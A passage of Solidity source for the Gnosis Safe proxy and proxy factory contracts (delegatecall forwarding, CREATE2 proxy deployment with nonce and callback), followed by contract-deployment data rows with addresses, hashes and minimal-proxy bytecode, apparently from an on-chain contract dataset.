require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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38f46d9adaf45c226aa00443bf42ecc2b6395b91
|
c796bb8906bb8f1d66d967a0825940e235107504
|
30e58389d1d852e4ca2d8257331354bd89304711
|
3d602d80600a3d3981f3363d3d373d3d3d363d730ec3dfbe509e4f2fdaf4f68947debc5f2263b7655af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730ec3dfbe509e4f2fdaf4f68947debc5f2263b7655af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,515 |
461d6e2719b4880932402c34be8409dead6e7461b3bb9b77d240aad87531143f
|
3533bc0f2c22dfccd22d4c7d308c6b0c0d3a4dd426d8a59a65a4e0394ce72e33
|
38f46d9adaf45c226aa00443bf42ecc2b6395b91
|
c796bb8906bb8f1d66d967a0825940e235107504
|
e800b9656f63d60e3d0112b28aefe0a751a5c45d
|
3d602d80600a3d3981f3363d3d373d3d3d363d730ec3dfbe509e4f2fdaf4f68947debc5f2263b7655af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730ec3dfbe509e4f2fdaf4f68947debc5f2263b7655af43d82803e903d91602b57fd5bf3
|
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